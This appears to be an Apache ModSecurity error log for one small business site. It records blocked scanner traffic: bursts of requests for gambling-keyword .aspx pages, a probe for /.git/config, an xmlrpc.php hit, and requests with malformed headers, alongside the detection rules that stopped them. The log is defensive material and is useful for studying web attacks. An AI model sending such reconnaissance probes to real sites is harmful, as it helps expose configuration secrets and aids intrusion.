[Sat May 09 22:27:06.195779 2026] [:error] [pid 55186:tid 55255] [client 88.88.156.124:46598] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "af9EOpPIspqZdXg7QQu5YQAAAEY"]
[Sat May 09 22:27:08.786287 2026] [:error] [pid 55191:tid 55281] [client 88.88.156.124:56286] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "af9EPPMcqx1kfQsw7c4X5gAAAIQ"]
[Sat May 09 22:27:11.204375 2026] [:error] [pid 55191:tid 55277] [client 88.88.156.124:56292] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "af9EP_Mcqx1kfQsw7c4X7AAAAIA"]
[Sat May 09 22:27:13.639045 2026] [:error] [pid 55191:tid 55300] [client 88.88.156.124:56302] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "af9EQfMcqx1kfQsw7c4X8AAAAJc"]
[Sat May 09 22:27:34.633799 2026] [:error] [pid 55186:tid 55268] [client 88.88.156.124:56314] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "af9EVpPIspqZdXg7QQu5kgAAAFM"]
[Sat May 09 22:27:36.949941 2026] [:error] [pid 55353:tid 55364] [client 88.88.156.124:48092] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "af9EWCDuyNO3XosoIYRgTAAAAQk"]
[Sat May 09 22:27:39.388379 2026] [:error] [pid 55353:tid 55363] [client 88.88.156.124:48108] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "af9EWyDuyNO3XosoIYRgUgAAAQg"]
[Sat May 09 22:27:41.979887 2026] [:error] [pid 55186:tid 55256] [client 88.88.156.124:48124] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "af9EXZPIspqZdXg7QQu5ngAAAEc"]
[Sat May 09 22:27:44.562468 2026] [:error] [pid 55191:tid 55291] [client 88.88.156.124:48126] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "af9EYPMcqx1kfQsw7c4YBAAAAI4"]
[Sat May 09 22:27:46.998445 2026] [:error] [pid 55182:tid 55222] [client 88.88.156.124:49384] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "af9EYjaxmP-S8ASrqQnjpwAAAMo"]
[Sat May 09 22:27:49.431722 2026] [:error] [pid 55353:tid 55365] [client 88.88.156.124:49390] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "af9EZSDuyNO3XosoIYRgYwAAAQo"]
[Sat May 09 22:27:51.871705 2026] [:error] [pid 55353:tid 55356] [client 88.88.156.124:49396] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "af9EZyDuyNO3XosoIYRgaAAAAQE"]
[Sat May 09 22:27:54.459356 2026] [:error] [pid 55186:tid 55248] [client 88.88.156.124:49398] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "af9EapPIspqZdXg7QQu5qQAAAEA"]
[Sat May 09 22:27:56.890541 2026] [:error] [pid 55186:tid 55253] [client 88.88.156.124:47940] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "af9EbJPIspqZdXg7QQu5rgAAAEQ"]
[Sat May 09 22:27:59.169322 2026] [:error] [pid 55191:tid 55292] [client 88.88.156.124:47950] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "af9Eb_Mcqx1kfQsw7c4YGQAAAI8"]
[Sat May 09 22:28:01.470542 2026] [:error] [pid 55353:tid 55355] [client 88.88.156.124:47954] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "af9EcSDuyNO3XosoIYRgegAAAQA"]
[Sat May 09 22:28:03.910458 2026] [:error] [pid 55353:tid 55377] [client 88.88.156.124:47960] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "af9EcyDuyNO3XosoIYRgggAAARY"]
[Sun May 10 00:09:03.484594 2026] [:error] [pid 55186:tid 55250] [client 34.18.128.217:54420] [client 34.18.128.217] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "af9cH5PIspqZdXg7QQvKGAAAAEE"]
[Sun May 10 02:19:08.000444 2026] [:error] [pid 55191:tid 55293] [client 43.130.9.111:45550] [client 43.130.9.111] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af96m_Mcqx1kfQsw7c5AaAAAAJA"]
[Sun May 10 04:14:55.624768 2026] [:error] [pid 62803:tid 62877] [client 119.28.177.175:46912] [client 119.28.177.175] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "af-Vv05oy4jU7eVtNaXjtwAAAI0"]
[Sun May 10 06:42:26.317401 2026] [:error] [pid 62803:tid 62879] [client 119.17.148.243:56180] [client 119.17.148.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/contact.php"] [unique_id "af-4Uk5oy4jU7eVtNaX8qAAAAI8"]
[Sun May 10 06:42:26.703036 2026] [:error] [pid 62802:tid 62858] [client 119.17.148.243:56199] [client 119.17.148.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about"] [unique_id "af-4Uqt9wnaRe0v-MkbLvAAAAFU"]
[Sun May 10 06:42:26.848738 2026] [:error] [pid 62910:tid 62914] [client 119.17.148.243:56218] [client 119.17.148.243] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about/"] [unique_id "af-4Ut5YAy_h5VqgWqhqqwAAAMI"]
[Sun May 10 10:46:55.689745 2026] [:error] [pid 52634:tid 52641] [client 43.166.246.180:51340] [client 43.166.246.180] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "af_xn9wp8XoWCwFb54C35AAAAMM"]
[Sun May 10 13:52:50.507530 2026] [:error] [pid 46417:tid 46435] [client 103.252.166.50:3077] [client 103.252.166.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.252.166.50, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "agAdMmInm7mhwgbe48amQgAAARA"]
[Sun May 10 18:13:27.208454 2026] [:error] [pid 16136:tid 16146] [client 43.135.133.241:49348] [client 43.135.133.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "agBaR0OBGdmCMnPX0MfccAAAAIg"]
[Sun May 10 19:28:06.714888 2026] [autoindex:error] [pid 16096:tid 16105] [client 20.5.8.136:61218] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun May 10 22:52:54.734320 2026] [:error] [pid 16038:tid 16074] [client 124.156.226.179:55048] [client 124.156.226.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "agCbxk4hf5Tcsfa2scJlIgAAAYY"]
[Mon May 11 04:56:11.308835 2026] [:error] [pid 65260:tid 65308] [client 75.119.155.172:47230] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "agDw6zqbzwIHjP6Y_3FsGQAAAEw"]
[Mon May 11 04:56:13.953405 2026] [:error] [pid 65259:tid 65268] [client 75.119.155.172:47236] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agDw7QPsXLnMa32ma5BLxgAAAAA"]
[Mon May 11 04:56:16.453002 2026] [:error] [pid 65259:tid 65291] [client 75.119.155.172:47244] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agDw8APsXLnMa32ma5BLygAAABc"]
[Mon May 11 04:56:19.013780 2026] [:error] [pid 65260:tid 65312] [client 75.119.155.172:4544] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agDw8zqbzwIHjP6Y_3FsLwAAAFA"]
[Mon May 11 04:56:21.647898 2026] [:error] [pid 65260:tid 65317] [client 75.119.155.172:4554] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agDw9TqbzwIHjP6Y_3FsNgAAAFU"]
[Mon May 11 04:56:24.223056 2026] [:error] [pid 65366:tid 65383] [client 75.119.155.172:4564] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agDw-KhVGdYzapDtv-HhHAAAAM4"]
[Mon May 11 04:56:26.736296 2026] [:error] [pid 65260:tid 65313] [client 75.119.155.172:4576] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agDw-jqbzwIHjP6Y_3FsPQAAAFE"]
[Mon May 11 04:56:29.318891 2026] [:error] [pid 65261:tid 65326] [client 75.119.155.172:18902] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agDw_Zu_9uQJeFrcOsssuQAAAIM"]
[Mon May 11 04:56:31.938576 2026] [:error] [pid 65261:tid 65331] [client 75.119.155.172:18904] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agDw_5u_9uQJeFrcOssswAAAAIg"]
[Mon May 11 04:56:34.454125 2026] [:error] [pid 65259:tid 65268] [client 75.119.155.172:18906] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agDxAgPsXLnMa32ma5BLzwAAAAA"]
[Mon May 11 04:56:37.022881 2026] [:error] [pid 65261:tid 65329] [client 75.119.155.172:18914] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agDxBZu_9uQJeFrcOssszgAAAIY"]
[Mon May 11 04:56:39.649508 2026] [:error] [pid 65259:tid 65288] [client 75.119.155.172:38648] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agDxBwPsXLnMa32ma5BL1wAAABQ"]
[Mon May 11 04:56:42.211857 2026] [:error] [pid 65259:tid 65280] [client 75.119.155.172:38660] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "agDxCgPsXLnMa32ma5BL2wAAAAw"]
[Mon May 11 04:56:44.786393 2026] [:error] [pid 65261:tid 65330] [client 75.119.155.172:38672] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agDxDJu_9uQJeFrcOsss3QAAAIc"]
[Mon May 11 04:56:47.367006 2026] [:error] [pid 65366:tid 65368] [client 75.119.155.172:38674] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agDxD6hVGdYzapDtv-HhNgAAAMA"]
[Mon May 11 04:56:49.897213 2026] [:error] [pid 65366:tid 65383] [client 75.119.155.172:39392] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agDxEahVGdYzapDtv-HhQQAAAM4"]
[Mon May 11 04:56:52.538881 2026] [:error] [pid 65261:tid 65342] [client 75.119.155.172:39400] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agDxFJu_9uQJeFrcOsss4wAAAJM"]
[Mon May 11 04:56:55.136848 2026] [:error] [pid 65261:tid 65332] [client 75.119.155.172:39414] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "agDxF5u_9uQJeFrcOsss6AAAAIk"]
[Mon May 11 04:56:57.677691 2026] [:error] [pid 65261:tid 65339] [client 75.119.155.172:9530] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agDxGZu_9uQJeFrcOsss6wAAAJA"]
[Mon May 11 04:57:00.352603 2026] [:error] [pid 65261:tid 65343] [client 75.119.155.172:9540] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agDxHJu_9uQJeFrcOsss7QAAAJQ"]
[Mon May 11 04:57:02.864571 2026] [:error] [pid 65261:tid 65342] [client 75.119.155.172:9542] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agDxHpu_9uQJeFrcOsss8gAAAJM"]
[Mon May 11 04:57:05.492505 2026] [:error] [pid 65261:tid 65346] [client 75.119.155.172:9552] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agDxIZu_9uQJeFrcOsss9gAAAJc"]
[Mon May 11 04:58:19.071584 2026] [:error] [pid 65260:tid 65301] [client 75.119.155.172:9308] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "agDxazqbzwIHjP6Y_3FslwAAAEU"]
[Mon May 11 04:58:21.682469 2026] [:error] [pid 65366:tid 65373] [client 75.119.155.172:9312] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "agDxbahVGdYzapDtv-HhlwAAAMU"]
[Mon May 11 04:58:24.285312 2026] [:error] [pid 65259:tid 65270] [client 75.119.155.172:9326] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "agDxcAPsXLnMa32ma5BMCwAAAAI"]
[Mon May 11 04:58:26.880373 2026] [:error] [pid 65260:tid 65307] [client 75.119.155.172:9340] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "agDxcjqbzwIHjP6Y_3FsoQAAAEs"]
